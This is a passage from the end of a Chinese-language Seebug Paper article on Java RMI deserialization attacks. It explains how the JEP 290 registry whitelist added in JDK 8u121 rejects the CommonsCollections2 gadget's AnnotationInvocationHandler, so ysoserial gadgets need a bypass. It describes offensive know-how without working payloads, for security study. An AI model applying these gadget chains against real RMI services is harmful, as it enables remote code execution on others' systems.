Runtime.exec()

具體的反序列化過程就不做分析了

但是要注意一點就是jdk 8u121版本以後,在rmiregistry創建時不是有這麼一段代碼麼 this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter)); 傳入了RegistryImpl::registryFilter作爲參數,所以在rmiregistry這邊反序列化服務端傳遞來的Proxy對象時,是會進行對象的白名單校驗的,只有以下對象才能進行反序列化

String.class != var2 
&& !Number.class.isAssignableFrom(var2) 
&& !Remote.class.isAssignableFrom(var2) 
&& !Proxy.class.isAssignableFrom(var2) 
&& !UnicastRef.class.isAssignableFrom(var2) 
&& !RMIClientSocketFactory.class.isAssignableFrom(var2) 
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) 
&& !ActivationID.class.isAssignableFrom(var2) 
&& !UID.class.isAssignableFrom(var2)

但是我們在構造惡意類的時候使用的是CommonCollection2,registryFilter在反序列化完最外面的proxy對象後第二要要反序列化的就是AnnotationInvocationHandler,而AnnotationInvocationHandler根本就不在上面的白名單裏所以自然會拋出異常

ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

這個白名單過濾機制也就是所謂的 JEP290, 就是可以通過實現ObjectInputFilter這麼一個函數式接口的方式來自定義自己想要過濾的類,在使用了該機制以後,ysoserial中所有的gadget幾乎都不可用了,需要想辦法繞過這個白名單纔行。

總結

在以上的講解中,我們分析了 RMI客戶端,服務端以及rmiregistry之間的關係,也對三方之間的多種攻擊方式進行了詳細的介紹,希望大家在看完文章後可以自己在跟隨文章的步驟,手動調試一下這個過程,這樣可以加深大家對RMI,JRMP,以及JNDI的理解。

參考鏈接

https://xz.aliyun.com/t/7079

https://xz.aliyun.com/t/7264

https://paper.seebug.org/1091/


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1420/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章